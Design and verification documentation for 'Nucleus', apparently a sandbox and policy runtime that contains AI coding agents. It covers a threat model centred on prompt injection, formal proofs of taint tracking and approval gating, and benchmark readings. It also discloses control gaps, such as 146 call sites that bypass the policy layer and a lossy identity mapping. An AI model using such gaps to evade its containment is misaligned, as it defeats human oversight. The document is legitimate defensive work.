• Where should your AI agent run code

Failures of tested enforcement:

• Cracks in the Bedrock: escaping the AWS AgentCore sandbox
• What the bubblewrap sandbox escape tells us about agent runtime hardening
• List of coding agent sandboxes, 2026-05

Policy, IFC, identity, provenance:

• Best open source MCP gateways in 2026
• Least-privilege authorization in multi-agent chains using Cedar
• Defeating Prompt Injections by Design (CaMeL)
• Indirect prompt injection: attacks, defenses, and the 2026 state of the art
• SPIFFE: securing the identity of agentic AI and non-human actors
• SLSA v1.1 provenance and in-toto attestations
• Verifiability-First Agents

Formal methods for agent runtimes:

• Methods for formal verification of agent skills: capability-containment proofs
• Sovereign Execution Broker: certificate-bound authority in agentic control planes
• Type-checked compliance: deterministic guardrails using Lean 4

Maintenance

This page is a snapshot dated July 2026. It makes dated competitive claims that will rot. Revisit it when a release goes out, and treat any claim of the form “nobody else does X” as expiring unless re-checked.

Threat Model (25k plan)

Assets

• Host filesystem and secrets.
• Pod data (inputs, outputs, logs).
• Approval decisions and audit trail.
• Policy grants and enforcement state.

Trust Assumptions

• Firecracker provides VM isolation from the host kernel.
• Host kernel is not compromised.
• Cryptographic primitives are implemented correctly.
• Local driver is for trusted workloads only.

Adversaries

• Malicious prompt injection within agent inputs.
• Untrusted tool output or external content.
• Compromised adapter or malformed requests.
• Accidental operator misconfiguration.

Threats by Boundary

Agent -> Control Plane

• Replay of tool requests.
• Forged approvals.
• Tool call parameter tampering.

Mitigations

• Signed requests required, nonce/timestamp with max skew.
• Signed approval requests require nonce + expiry; preflight bundles are roadmap.

Control Plane -> VM

• VM proxy spoofing.
• Traffic interception.

Mitigations

• Vsock-only transport.
• VM-unique secret provisioned at boot (auth secret baked into rootfs).

VM -> Host

• Escapes via shared filesystem.
• Excessive resource usage.

Mitigations

• Read-only rootfs, scratch-only write.
• Cgroup CPU/memory limits.
• Seccomp on VMM.
• Host netns iptables enforce default deny when --firecracker-netns=true (even without spec.network).
• Netns iptables are snapshotted and monitored; drift fails closed by terminating the pod.
• Node provisions per-pod netns + tap to avoid shared host interfaces.
• Requires br_netfilter so bridge traffic hits iptables.

Host Signed Proxy

• Threat: host-local callers bypass auth by calling the vsock bridge directly.
• Mitigation: only expose the signed proxy address to adapters.

Non-goals

• Side-channel resistance.
• Host kernel compromise.
• Zero-knowledge verification.

Acceptance Tests (25k plan)

Enforcement (current)

• Any filesystem access outside sandbox root is denied (cap-std sandbox).
• Any command not in allowlist (or structured rules) is denied.
• Approval-gated operation fails without a recorded approval.
• Approval grants expire (default TTL, enforced when auth is enabled).
• Approval requests are gated by a separate approval secret and nonce.
• Budget exhaustion blocks further side effects.
• Time window expiry blocks execution.

Uninhabitable state (current)

• When private data + untrusted content + exfil path are all enabled, approvals are required for exfil operations.

Network (current)

• Host netns iptables enforces default-deny egress for Firecracker pods when --firecracker-netns=true (even without spec.network).
• Host monitors iptables drift and fails closed by terminating pods on deviation.
• Allowlisted egress only for IP/CIDR with optional port (no hostnames).
• Guest init configures eth0 from kernel args (nucleus.net=...) when a network policy is present.
• Node provisions tap + bridge inside the pod netns only when spec.network is set (guest NIC is otherwise absent).
• Integration: scripts/firecracker/test-network.sh boots a VM and verifies cmdline + iptables rules.
• Optional connectivity test uses nucleus-net-probe via the tool proxy (CHECK_CONNECTIVITY=1).

Audit (current)

• Every tool call produces a signed audit log record (verifiable).
• Audit entries are hash-chained; tampering breaks the chain.
• Approval events are logged with operation name and count.
• Guest init emits a boot report entry on startup.

VM Isolation (current)

• Rootfs is read-only when configured in the image/spec.
• Scratch is mounted when configured.
• Proxy starts via init with no extra services.

Roadmap Tests

• Approval tokens must be signed, bounded to op + expiry + nonce.
• Audits must include cryptographic signatures and issuer identity.
• Network egress should be enforced via cgroup/eBPF filters (beyond iptables).

Formal Methods Plan

Goal: move from model checking to machine-checked proofs for the core lattice and nucleus (ν) properties, while keeping the spec small and auditable.

Scope (initial)

• Permission lattice order and join/meet.
• Nucleus ν (normalization) laws:
  • Idempotent: ν(ν(x)) = ν(x)
  • Monotone: x ≤ y ⇒ ν(x) ≤ ν(y)
  • Deflationary: ν(x) ≤ x
• Uninhabitable state obligations as a derived constraint.

Plan

1. Lean 4 spec of the lattice structure and ν (small, pure model).
2. Proofs of ν laws + meet/join compatibility (minimal theorem set).
3. Traceability: map each Rust field to the spec with a short “spec ↔ code” reference table.
4. CI gate for proof check (separate job; fails on proof regressions).

What Kani Covers (and doesn’t)

• Kani is used for bounded model checking on Rust implementations.
• Kani runs as a nightly CI job; merge gating is planned once proofs stabilize.
• Kani does not replace theorem proving; it complements the proof layer.

Non-goals (initial)

• Full refinement proofs from Rust to Lean.
• End-to-end OS isolation proofs.

Verified Claims

Machine-checked properties of the Nucleus security kernel. Each claim links to its proof, states what it guarantees and what it does not, and names the CI gate that enforces it on every pull request.

Verification stack:

• Lean 4 kernel-checked proofs via Aeneas extraction (types + theorems)
• Kani BMC bounded model checking of Rust implementations (120 harnesses repo-wide: portcullis 70, portcullis-core 26, ck-kernel 17, nucleus-ifc-kernel 6, nucleus-econ-kernels 1)
• Rust type system structural enforcement via sealed types and phantom tags

For why the enforcement boundary is proved rather than tested — and how that compares to what other agent-isolation runtimes ship — see Landscape and Rationale.

Tier 1: Algebraic Properties (Lean 4 + Kani BMC)

1. IFC label join is a semilattice

Plain English: When two data sources are combined (e.g., a user prompt mixed with web content), the resulting security label is always at least as restrictive as the most restrictive input. Combining data never makes it less restricted.

Formal statement: (IFCLabel, join) is a commutative, associative, idempotent semilattice with bottom as identity.

Proved in:

• Lean 4: lean/IFCSemilatticeProofs.lean — ifc_join_idempotent, ifc_join_comm, ifc_join_assoc
• Kani: proof_ifc_join_idempotent, proof_ifc_join_commutative, proof_ifc_join_associative (portcullis-core)

What it does NOT prove: That labels are assigned correctly at runtime. The algebra is sound; labeling depends on correct integration.

CI gate: Lean proofs run in the Aeneas (Rust -> Lean 4) CI job. Kani harnesses run in the Mutation Testing job. Both block merge on failure.

2. Taint is monotone (no silent cleansing)

Plain English: Once an AI agent has processed adversarial content (e.g., a web page with a prompt injection attempt), that contamination is permanently recorded on every output derived from it. No sequence of operations can wash it out without explicit human authorization.

Formal statement: For all derivation classes x: join(x, Deterministic) = x and join(OpaqueExternal, x) = OpaqueExternal. The session taint ceiling is monotonically non-decreasing.

Proved in:

• Lean 4: lean/DerivationProofs.lean — no_silent_cleansing, join_monotone_left, join_opaque_left
• Kani: proof_derivation_no_silent_cleansing, proof_derivation_join_monotone (portcullis-core)
• Runtime: FlowTracker::session_taint_ceiling is only raised, never lowered (except via explicit reset_session_ceiling which requires human authority)

What it does NOT prove: That the agent will not be compromised. That prompt injection will not succeed. Only that if it does, the taint is tracked and cannot be erased silently.

CI gate: Lean + Kani in CI. The reset_session_ceiling escape hatch is audited as a security-sensitive operation (#1233).

3. Adversarial integrity is absorbing

Plain English: Mixing any data with adversarial-integrity content always produces adversarial-integrity output. There is no “dilution” — even one drop of adversarial input contaminates the entire result.

Formal statement: For all IntegLevel b: Adversarial meet b = Adversarial.

Proved in:

• Lean 4: lean/IFCSemilatticeProofs.lean — integ_inf_adversarial_left, integ_inf_adversarial_right
• Lean 4: invariant_exploit_propagates_taint (end-to-end IFC scenario)

What it does NOT prove: That adversarial content will be detected. Only that once labeled, the label cannot be weakened through data combination.

CI gate: Lean Aeneas job.

4. Secret confidentiality is absorbing

Plain English: Mixing any data with secret-classified content always produces secret-classified output. Combining a secret API key with public documentation does not make the result “mostly public.”

Formal statement: For all ConfLevel b: Secret sup b = Secret.

Proved in:

• Lean 4: lean/IFCSemilatticeProofs.lean — conf_sup_secret_left, conf_sup_secret_right

What it does NOT prove: That secrets are labeled correctly at source. A secret not labeled as Secret will not benefit from this guarantee.

CI gate: Lean Aeneas job.

5. Capability lattice is a distributive Heyting algebra

Plain English: The permission system (which tools an agent can use) follows the mathematical rules of a Heyting algebra. This means permissions compose predictably: restricting permissions always produces a valid, less-permissive result; combining permissions always produces a valid, more-permissive result.

Formal statement: (CapabilityLattice, meet, join, implies) satisfies all Heyting algebra axioms, including the adjunction property a meet b <= c iff a <= b implies c.

Proved in:

• Kani: proof_r1_heyting_adjunction, proof_r4_lattice_heyting_adjunction (portcullis)
• Lean 4: lean/generated/PortcullisCore/Types.lean — type generation from Aeneas

What it does NOT prove: That the 13 capability dimensions are the right ones for your use case. The algebra is generic; the dimensions are application-specific.

CI gate: Kani in Mutation Testing job. Lean type generation in Aeneas job.

Tier 2: Structural Safety (Rust Type System)

6. Obligation bypass is a type error

Plain English: There is no way to execute a side effect (file write, web fetch, shell command) through NucleusRuntime without first passing the obligation discharge check. The DischargedBundle required by effect functions can only be obtained from a successful preflight_action() call — its constructor is private.

Structural enforcement: DischargedBundle contains a private Seal field that cannot be named outside its module. Discharged<O> tokens are zero-sized proof witnesses; Discharged::mint() is fn (not pub fn).

Scope binding (now machine-checked — see claim 8a): the type system establishes that a preflight ran, not that a preflight ran for this action. The bundle carries the (Operation, SinkClass) pair it was earned for, and each mediated method checks it; without that check a bundle earned for a cheaper action would authorize any other — the confused deputy. The check itself is a runtime comparison, but it can no longer be skipped: effect methods take an owned Authority, so reaching the effect requires surrendering one.

Proved in: Compile-fail doc-test on DischargedBundle (portcullis-core/src/discharge.rs); scope binding by a_read_bundle_will_not_authorize_a_write and siblings in portcullis-effects/src/runtime.rs.

What it does NOT prove: That the obligation checks themselves are correct. Only that they cannot be skipped. The checks’ correctness is tested by 33 unit tests and the Kani harnesses above.

Nor does it prove complete mediation on its own. For the effect traits that property now holds structurally: all 13 methods take an Authority by value, so the scope check cannot be skipped and replay is a compile error. See claim 8a for the machine-checked scope predicate, and Production Delta for the surfaces still outside it.

CI gate: Tests job runs the compile-fail doc-test and the scope-binding tests. A PR that makes the Seal field public, adds a public constructor, or drops a require_scope call would fail it.

7. Confidentiality downflow is enforced

Plain English: Data classified as Secret cannot flow to a sink classified as Public or Internal through NucleusRuntime. The session-level confidentiality ceiling prevents laundering through clean intermediaries: if the session has ever observed Secret data, writing to any non-Secret sink is blocked.

Structural enforcement:

• FlowTracker::session_conf_ceiling is monotonically non-decreasing
• check_exfiltration_safety() checks both node-level and session-level conf
• At the type level, Labeled<T, I, Secret> does not implement ConfAtMost<Public>, so passing secret data to a public-gated function is a compile error

Proved in: 21 unit tests in ifc_api::tests + compile-fail doc-test on Labeled

What it does NOT prove: That all data sources are labeled with the correct confidentiality. Mislabeled data bypasses the check. Source labeling is the integrator’s responsibility.

CI gate: Tests job.

8. Type-level IFC prevents tainted-to-trusted flow

Plain English: A function that requires Trusted-integrity input will not compile if passed Adversarial-integrity data. This catches the most common IFC violation — using web-scraped content in a privileged operation — at compile time rather than at runtime.

Structural enforcement: Labeled<T, Adversarial, C> does not implement IntegAtLeast<Trusted>. The only way to promote Adversarial to Untrusted is promote_integrity() which requires an explicit DeclassifyReason. The only way to promote Untrusted to Trusted is promote_to_trusted() which accepts only HumanReview or DeterministicVerification — Sanitization alone is rejected.

Proved in: Compile-fail doc-test on Labeled + 22 unit tests in labeled::tests

What it does NOT prove: That runtime IFC checks are redundant. The type-level system is an approximation — dynamic data flow through the FlowTracker remains necessary for paths where the type is erased.

CI gate: Tests job.

8a. A discharge authorizes its own action, once, and nothing else

Plain English: An authorization earned for one action cannot be spent on a different one. A bundle earned for reading a file does not authorize a write, a shell spawn, or a push — even when the coarse capability for that action is enabled. This is the confused deputy, and it is the first half of complete mediation.

Formal statement, two halves. The predicate: scope_admits(eo, es, ao, as) ↔ (eo = ao ∧ es = as) — reflexive, discriminating on each component, and functional (a bundle admits at most one pair). The machine: an effect succeeds only from a held authority whose scope admits it (effect_requires_held), a success consumes it (effect_consumes_the_authority), a refusal does not (refusal_preserves_the_authority), and therefore a second effect with no fresh discharge fails (no_replay_without_a_fresh_discharge).

Proved in:

• Lean 4: lean/MediationScopeExtracted.lean — eight theorems: scope_admits_{refl,iff_eq,unique,no_escalation} over the predicate, and effect_requires_held, effect_consumes_the_authority, refusal_preserves_the_authority, no_replay_without_a_fresh_discharge over the extracted state machine med_step
• Proven over the Aeneas-extracted definitions, not a hand-written model: crates/nucleus-ifc-kernel/src/extracted/mediation.rs → charon (scoped --start-from) → aeneas → generated-mediation/PortcullisCoreMediation/.
• Rust↔model parity: exhaustive sweep in src/extracted/mediation.rs over every earnable pair (27 of 247 pass PathAllowed) against all 247 attempted pairs — 6,669 comparisons, the complete domain, so this is an equivalence proof rather than a sample.

Axiom set: [propext, Classical.choice, Quot.sound] — no sorryAx, and no Aeneas *External opaque axiom. The Rust slice compares explicit u8 ranks rather than deriving PartialEq precisely so no opaque comparison axiom lands on the critical path.

What it does NOT prove — and cannot: that every effect path calls the predicate. That is a whole-program property over an open program, so Lean has nothing to quantify over, and the effect layer’s real I/O is outside the extractable subset regardless. These theorems are the conditional half.

The premise is discharged mechanically by the mediated Dylint pass (tools/nucleus-mediation-lint), closed under the call graph, over the set defined in The Mediated Set. seL4 has the same shape: it assumes compiler/assembly/hardware correctness and imposes syntactic restrictions checked outside Isabelle so the proof has a static call graph.

Trusted, stated rather than hidden: rustc’s enforcement of affine moves, the lint’s deny-set completeness, and Charon/Aeneas extraction fidelity.

It also says nothing about the other seven obligations: it governs which action a bundle speaks for, not whether that action is safe.

CI gate: Scoped Aeneas (Rust → Lean 4) + parity tests — re-extracts from Rust, rebuilds the theorem against the fresh extraction, and fails on a dirty axiom set or any sorry/admit/native_decide.

9. OIDC→SPIFFE charset is enforced — and the derivation is NOT collision-free

Plain English: When a GitHub Actions OIDC token is mapped to a Nucleus SPIFFE id, every path segment is sanitized to the SPIFFE-legal charset [A-Za-z0-9._-]. We machine-check that the extracted-from-Rust byte classifier admits exactly that charset. We ALSO machine-check the honest negative result: because sanitization is lossy, the derivation is not injective — distinct OIDC claim-sets can mint the same SPIFFE id within one owner/repo. That collision is a real authz-confusion surface and is documented, not hidden.

Formal statement (proven, sorry-free, over the Aeneas-extracted defs):

• is_spiffe_byte_iff / is_spiffe_byte_charset — for every U8 byte, the generated is_spiffe_byte returns ok true iff the byte is in [0-9A-Za-z._-] (exhaustive over all 256 values).
• collapse_lossy_step — the generated per-byte sanitizer step maps the DISALLOWED byte / (0x2F) and the ALLOWED byte - (0x2D), from the same state, to the IDENTICAL continuation. This is the merge that destroys injectivity.

The collision finding (pinned, NOT a proven safety property): "a/b" and "a-b" both sanitize to "a-b"; "refs/heads/x" and "refs-heads-x" both → "refs-heads-x". So two distinct refs/repos can derive the same SPIFFE id. We do not claim SPIFFE ids are collision-free — the opposite is true and pinned as a regression test.

Trust chain: production sanitize_segment / derive_spiffe_id (claims.rs) ≡ the byte-indexed extracted/oidc_spiffe.rs mirror (proven byte-identical across random Unicode by the parity proptests) → Lean via Aeneas.

Proved in:

• Lean 4: lean/OidcSpiffeProofs.lean — is_spiffe_byte_iff, is_spiffe_byte_charset, collapse_lossy_step (each #print axioms = [propext, Classical.choice, Quot.sound])
• Rust parity + collision proptests: src/extracted/oidc_spiffe.rs — sanitize_bytes_matches_production, derive_spiffe_bytes_matches_production, is_spiffe_byte_matches_production_charset, collision_distinct_refs_same_spiffe_id, collision_distinct_repo_segments

What it does NOT prove:

• NOT that SPIFFE ids are collision-free (they are not — see the finding).
• NOT “no -- run” in output (production does not guarantee it; a literal - next to a collapsed dash yields --).
• The full end-to-end sanitize_bytes(x) = sanitize_bytes(y) collision is proven in the Rust proptest, not yet as a closed Lean theorem: Aeneas’s loop combinator (partial_fixpoint) does not reduce under simp/decide, so the Lean side proves the per-step root cause (collapse_lossy_step) rather than evaluating the whole loop. This gap is disclosed, not papered over with a sorry.
• The owner-binding guard (repository_owner == org(repository)) and the final CallSpiffeId::parse are equality / parser checks outside the extracted rendered-bytes subgraph.

Why the collision is acceptable in context: authorization is decided on the verified claim (the allow-listed repository_owner / repository), not on the rendered SPIFFE id. The SPIFFE id is a downstream identifier. The finding bounds where the lossy id may NOT be used as a sole authz key.

CI gate: Aeneas OIDC→SPIFFE (scoped extraction + derivation properties) job — scoped Charon→Aeneas extraction, Rust parity+collision tests, Lean build, and the Assert clean axiom set / Reject sorry audits. Blocks merge.

What happens when a proof breaks

1. The Aeneas (Rust -> Lean 4) or Mutation Testing CI job fails
2. The merge queue rejects the PR
3. The PR author sees the specific theorem that failed and the Lean/Kani error
4. The Constitutional Gate (external webhook) logs the failure for audit

No code that breaks a verified claim can reach main.

Known Gaps

The claims above hold for code paths that go through PolicyEnforced or NucleusRuntime. The following gaps mean they do not hold universally:

Enforcement completeness (#1216)

146 call sites in nucleus-claude-hook and nucleus-mcp call std::fs, std::process::Command, and reqwest directly, bypassing the PolicyEnforced effect layer. The effect layer exists and is verified, but is not structurally required at every I/O site. Migration is tracked in #1216.

Impact: An operation routed through these 146 call sites gets capability checking via Kernel::decide_term() (which runs obligation discharge), but does NOT get the PolicyEnforced effect wrapper. A bug in the call site code could perform I/O without any policy gate.

NucleusRuntime escape hatch (#1248) — CLOSED

The raw NucleusRuntime::effects() accessor is gone. The only path to a raw bundle, unmediated_effects(&token, proof), requires (1) an opt-in UnmediatedAccess token, (2) a DischargedBundle discharged against the strictest sink (HTTPEgress/Untrusted, so discharge fails on a tainted session), and (3) a FlowTracker observe recording an OutboundAction node; the returned effect methods take Authority by value, so an un-preflighted call is a compile error. Guarded by unmediated_preflight_denies_adversarial_session (a tainted session is denied) and an all-profile isolation invariant (prop_unmediated_effects_always_discharges_and_flow_tracks). In the C6 egress inventory this is channel 12, type-enforced, and no_channel_is_an_open_hole asserts no channel remains an open hole. Residual honesty: the audit-DAG granularity is coarse (one OutboundAction node per grant, not per effect).

Type-level IFC not composed into runtime (#1249)

NucleusRuntime::read_file() returns Vec<u8>, not Labeled<Vec<u8>, Trusted, Internal>. The compile-time IFC layer (Labeled<T, I, C>) and the runtime IFC layer (FlowTracker) are independently correct but not composed at the API boundary. Agents using NucleusRuntime get runtime tracking but not compile-time enforcement of IFC constraints.

Verification coverage summary

10. JWT-SVID claims decision: no admission without every predicate

Plain English: When the control plane authenticates a caller’s JWT-SVID, it checks the signature and then decides on the claims: not expired (with clock-skew leeway), not before its nbf, the right audience, a subject under the allowed SPIFFE prefix. We machine-check that decision: an Admit verdict can only come out when all four predicates held, a failed audience or subject check never admits, a valid token is never refused by the decision, and the error reported is the first failing predicate in the documented order.

Formal statement (proven, sorry-free, over the Aeneas-extracted decide_claims):

• admit_sound — decide_claims … = ok Admit implies aud_ok, sub_ok, exp + skew representable and ¬ (exp + skew < now), and for nbf = some n, now + skew representable and ¬ (n > now + skew).
• aud_mismatch_fails_closed / sub_mismatch_fails_closed — with aud_ok = false or sub_ok = false the verdict is never Admit.
• admit_complete — all predicates holding gives Admit.
• not_yet_valid_has_nbf — NotYetValid is only raised with nbf = some _.
• expired_first / not_yet_valid_second / audience_third / subject_last — the first failing predicate, in production’s order, is the verdict.

Trust chain: production verify_jwt_svid (nucleus-control-plane-server auth.rs) CALLS the extracted core on the live path (decide_claims, with has_prefix on the subject and bytes_eq per audience element); the parity proptests in extracted/jwt_svid_claims.rs check the composed call against the pre-refactor clause lifted verbatim → Lean via Aeneas.

Proved in:

• Lean 4: lean/JwtSvidClaimsProofs.lean — the nine theorems above (each #print axioms ⊆ [propext, Classical.choice, Quot.sound])
• Rust parity proptests: src/extracted/jwt_svid_claims.rs — claims_verdict_matches_production, claims_verdict_matches_production_near_edges, loops_match_std

CI gate: the same Scoped Aeneas (Rust → Lean 4) + parity tests job as §9 (aeneas-oidc-spiffe.yml): re-extracts both slices from Rust, builds the theorems against the fresh extraction, requires #print axioms evidence, fails on sorryAx / opaque external axioms.

What it does NOT prove:

• NOT the EdDSA signature check (ed25519-dalek, outside the extractable subset).
• NOT the audience fold: auds.iter().any(..) takes &[&[u8]], a nested borrow Aeneas rejects; the fold stays in production and its result enters the theorems as aud_ok.
• NOT bytes_eq / has_prefix as closed Lean theorems (Aeneas loop combinator, the §9 gap); the Rust parity proptests cover them.
• Overflow: the generated + is checked, so the theorems carry representability as a conclusion of soundness and a hypothesis of completeness rather than assuming it.

Design note for the other two verifiers in #2452 (verify_card, attestation backends): docs/design/identity-verifier-extraction.md.

The agency frontier

The objective (ADR 0005) is a ratio:

             useful autonomous work completed
    ℐ  =  ───────────────────────────────────────────────────────
          authority risk + human friction + integration cost

subject to exercised authority ≼ delegated authority. This page is where its readings live. Every claim in this repository about how much work can be delegated cites a row here, or it does not ship.

The tier

docs/PROOFS.md keeps PROVEN, TESTED and ATTESTED-MODELED apart so that a claim cannot be quoted at a strength it did not earn. Numbers about work need a fourth word, because none of those three fit — a completion rate is neither proved nor modelled, it is observed, once, on a particular machine.

MEASURED — a committed harness run at a named commit, on stated hardware, whose containment checks all held. Reproducible by re-running the command in the row.

A number that is not MEASURED is not quotable. In particular: a number from a harness whose containment checks failed is not a measurement of safely delegatable agency, and AgencyReport::is_valid refuses to call it one.

Readings

2026-09-09 — codegen profile, Tier 2 microVM

MEASURED. aarch64 / KVM (Lima nucleus-kvm, 4 vCPU, 7.9 GiB), Firecracker, codegen profile, pod boot ~3.0 s. Artifact: benchmarks/agency/tier2-codegen-profile.json.

agency: 5/5 tasks completed (100%) under microvm enforcement
cost:   ρ_effect = undefined · ρ_dimension = 1.75 · C(T) = 4 ·
        7 denial(s) inside the grant of 8 total, 5 of them deferrals to a person ·
        risk Medium
valid:  3 containment check(s) held

Reproduce:

nucleus-perf agency --spec <pod.yaml> --approval-key <approval_signing_key.der> \
    --commit "$(git rev-parse --short HEAD)" --out agency.json

Work completed (the numerator). Discover the workspace; read real bytes out of the sandbox; write a file and read the same bytes back; change a file that already exists; run a command. Each has a deterministic oracle — the read-back tasks compare against bytes the host chose, so an empty success fails.

Containment held (what makes the rate quotable). A private key is not readable; there is no egress; a write nobody approved does not land. These are excluded from the numerator on purpose: a refusal is not work, and a suite that counted its own refusals as completions would make ℐ rise as the runtime got more restrictive.

Reading the cost.

2026-09-10 — compiled grant, Tier 1 local

MEASURED. macOS arm64, no microVM; nucleus-tool-proxy spawned locally under a sealed grant compiled from a goal. Artifact: benchmarks/agency/tier1-compiled-grant.json.

agency: 5/5 tasks completed (100%) under local enforcement
cost:   ρ_effect = 1.25 · ρ_dimension = 1.75 · C(T) = 1 ·
        3 denial(s) inside the grant of 4 total, 0 of them deferrals · risk Medium
valid:  3 containment check(s) held

Reproduce:

nucleus-perf agency --local --goal "fix the failing tests" --ceiling codegen \
    --tool-proxy-path <nucleus-tool-proxy> --work-dir <dir> \
    --commit "$(git rev-parse --short HEAD)" --out agency.json

This is the arm where ρ_effect exists. Under a profile there are no semantic effects to divide by, so the Tier 2 reading reports null. Here the goal is compiled to a grant, the grant’s effects are sealed into the certificate the proxy verifies, and the run is therefore bounded by the effects it is measured against rather than merely described by them.

ρ_effect = 1.25 — the grant holds five effects (fs/read-workspace, fs/edit-workspace, git/commit, git/read-history, shell/run-tests) and the run exercised four. One effect went unused, and nucleus observe --narrow would propose dropping it. That is the loop ADR 0004 opens, closing for the first time on a measured number.

C(T) = 1, against 4 under the profile. This is the sharpest difference between the two readings and it is the ADR 0004 claim, measured: one confirmation before the run — a person reading Can / Cannot / Limits / Risk once and accepting — and zero authorization decisions during it. Under the codegen profile the same five tasks cost four in-run approvals, because the profile rates writes, edits and shell low_risk and defers each one. The grant is not free; it is one decision instead of four, made before anything ran rather than four times while a person waited.

The two readings side by side

They are not the same experiment and the table is not a controlled comparison — different tiers, different hosts, different architectures. What it does show is the shape ADR 0004 predicted: the same work, at the same completion rate, for a quarter of the human decisions and with the precision figure finally defined.

A containment check had to be replaced to get this reading, and the mechanism caught it rather than the reading being quietly wrong. refuses-unapproved-write asserted that an unapproved write is deferred — true under the codegen profile, false under a compiled grant for the same work, which authorises writes outright and says so (no approval prompts expected). So the write landed, the check reported a breach, and the report refused to be quoted. It was the check that was wrong: it encoded a property of one profile rather than an invariant. It is now refuses-write-to-a-blocked-path, which holds under every profile and every grant. Worth recording because containment checks decide whether a whole reading may be quoted, so a check that depends on which grant is in force can void a perfectly good measurement — and because the validity property did its job in the direction nobody designs for: catching a defect in the suite rather than in the runtime.

What this reading does not establish

• It is not a model benchmark. Nucleus does not own cognition (ADR 0005, decision 3). A task fails here when the authority would not admit the work. How well a model uses the authority is a different measurement, on a different axis, and the AgentDojo lane is where it belongs.
• Five tasks is a floor, not a frontier. The suite covers filesystem and shell work under one profile. It says nothing about the AWS, Kubernetes, database or messaging work a person might want to delegate — those effects exist now, but no task here exercises them (see below).
• One profile, one architecture, one run. No x86_64 reading, no Tier 1 reading, and no unconstrained control arm to measure the enforcement cost against. Enforcement::None exists in the schema for that arm; nobody has run it.
• ρ_effect was missing from the Tier 2 reading, and the Tier 1 one supplies it. The dimension figure cannot fall below about 1.75 for this profile no matter how precise the grant gets, because 13 buckets is all the resolution it has; the effect figure can, and at 1.25 it says one granted effect went unused.
• Neither reading exercises the cloud, cluster, database or chat packs. Those effects exist; no task here touches them.

Why the four new effect packs did not move these numbers

aws, kubernetes, database and slack landed alongside these readings, and neither reading moved. That is not a disappointing result, it is the right one, and saying so is cheaper than staging a delta.

The packs widen what can be delegated. The suite measures what this pod did, and what it did was filesystem and shell work under a profile. Those are different quantities, and the honest way to see the packs in a number needs two things neither of which exists yet:

1. A --goal grant, so ρ_effect is defined at all. Done — the Tier 1 reading above. ρ_effect is 1.25 for a repository-shaped goal.
2. Tasks that touch those surfaces. A cluster, a database and an object store, or credible fakes of them. This is the one that is left, and it is not a small one: a task suite pointed at real infrastructure would measure that infrastructure as much as the runtime.

What the packs did change is visible without the harness, in what a person is shown. Before them, a goal about a cluster compiled to nothing and a goal about the cloud compiled to nothing. Now:

$ nucleus run --goal "check the cloudwatch logs for the lambda" \
      --dry-run --ceiling research-web
Can:     list cloud resources · read CloudWatch logs · read and search workspace files
Limits:  $1.50 · 44m · *.s3.amazonaws.com, ec2.*.amazonaws.com, ecs.*.amazonaws.com,
         lambda.*.amazonaws.com, logs.*.amazonaws.com, rds.*.amazonaws.com,
         s3.amazonaws.com, sts.amazonaws.com only · no .aws, .env, .ssh, …

and under a ceiling that does not admit egress, the same goal renders those two effects in Cannot with the reason — outside ceiling local-dev: web_fetch is never — rather than failing to recognise the goal at all. A denial that names what it would take is the raw material of an escalation proposal; silence is not.

Recovery friction

D’s denominator is human decisions + configuration + security knowledge + recovery friction. C(T) was the only one measured, and it only counts the decisions on the happy path — the run where the grant was right the first time. It says nothing about the run where it was not, which is where delegation actually fails: an agent is refused something it needed, and either the system tells it what would have worked or the person goes and reads a profile.

That failure is invisible in a completion rate. The task simply does not complete, and nothing distinguishes “one decision away” from “ten”.

--recovery-goal measures it. The lane is deliberately under-granted — a read-shaped goal, then a write — so the refusal is the boundary doing its job. From there:

1. the refusal is read off the wire,
2. escalation_proposal::propose names the least authority that would have allowed it,
3. the grant is recompiled with exactly that effect added — one decision,
4. the same work is attempted again.

First reading, Tier 1 local, ceiling codegen:

recover: write-after-refusal — refused by kernel_denied,
         proposal named fs/edit-workspace, 1 decision(s) over 0.3s, recovered

The target is one decision, and one decision is what it takes.

What is actually being asserted

Not decisions == 1. A proposal that named nothing and a harness that already knew the answer would also score 1. The claim is that the fix came from the system’s proposal and that the proposal was sufficient: refused before, granted exactly the named effect, completed after.

The harness is not allowed to know which effect fixes it — the name comes from propose, from the catalog and the ceiling, never from the lane. Two checks keep that honest, and both were run:

That second row is the one worth keeping. A proposal that names a minimum which does not work is worse than proposing nothing: it spends the person’s one decision and leaves them exactly where they started. The report must be able to say so, and it can.

Recovery is friction, not work. It is reported beside clicks and never enters the numerator — measured with and without the lane, the completion rate, ρ and every denial count are identical.

History

The first reading of this suite, an hour before the one above, was 3/5. The instrument found three defects in the runtime on its first run, and the rate moved as each was fixed:

All four were the same rule, at four depths: one act, one operation, one name, at every gate. None of them was visible to any unit test, because each gate was internally consistent and only disagreed with its neighbour. That is the argument for measuring the numerator: the denominator was green throughout.

Hardening Checklist (Demo Readiness)

This checklist defines pass/fail criteria for calling the demo “fully hardened,” including the goal of a static envelope around a dynamic agent. Each item includes a current status and evidence pointer.

Status key: DONE, PARTIAL, TODO.

1) Enforcement Path (Policy -> Physics)

• All side effects go through nucleus-tool-proxy
  • Pass: CLI/tool adapters can only execute file/command/network ops via the proxy API.
  • Current: DONE (CLI uses node + MCP; no unsafe direct mode).
  • Evidence: crates/nucleus-cli/src/run.rs
• CLI hard-fail if not enforced
  • Pass: No unsafe flags; enforced mode is the default path.
  • Current: DONE (unsafe flag removed).
  • Evidence: crates/nucleus-cli/src/run.rs
• Node API requires signed requests
  • Pass: nucleus-node rejects unsigned HTTP/gRPC calls.
  • Current: DONE (auth secret required).
  • Evidence: crates/nucleus-node/src/main.rs, crates/nucleus-node/src/auth.rs

2) Network Egress Control

• Default-deny enforced for Firecracker pods
  • Pass: netns iptables default DROP even without spec.network.
  • Current: DONE.
  • Evidence: crates/nucleus-node/src/main.rs, crates/nucleus-node/src/net.rs
• IPv6 is denied or disabled
  • Pass: ip6tables mirrors default-deny OR guest IPv6 is disabled.
  • Current: DONE (guest IPv6 disabled at boot).
  • Evidence: crates/nucleus-node/src/main.rs
• DNS allowlisting
  • Pass: explicit hostname allowlist enforced (ipset/dnsmasq or equivalent).
  • Current: DONE (dnsmasq proxy with pinned hostname resolution).
  • Evidence: crates/nucleus-node/src/net.rs, crates/nucleus-spec/src/lib.rs

3) Approvals (AskFirst)

• Approvals are cryptographically signed
  • Pass: approvals require signed tokens with nonce + expiry, verified in proxy.
  • Current: DONE (approval secret required; nonce + expiry enforced).
  • Evidence: crates/nucleus-tool-proxy/src/main.rs
• Approval replay protection
  • Pass: nonce cache + expiry enforced for all approvals.
  • Current: DONE (nonce required for approvals).
  • Evidence: crates/nucleus-tool-proxy/src/main.rs

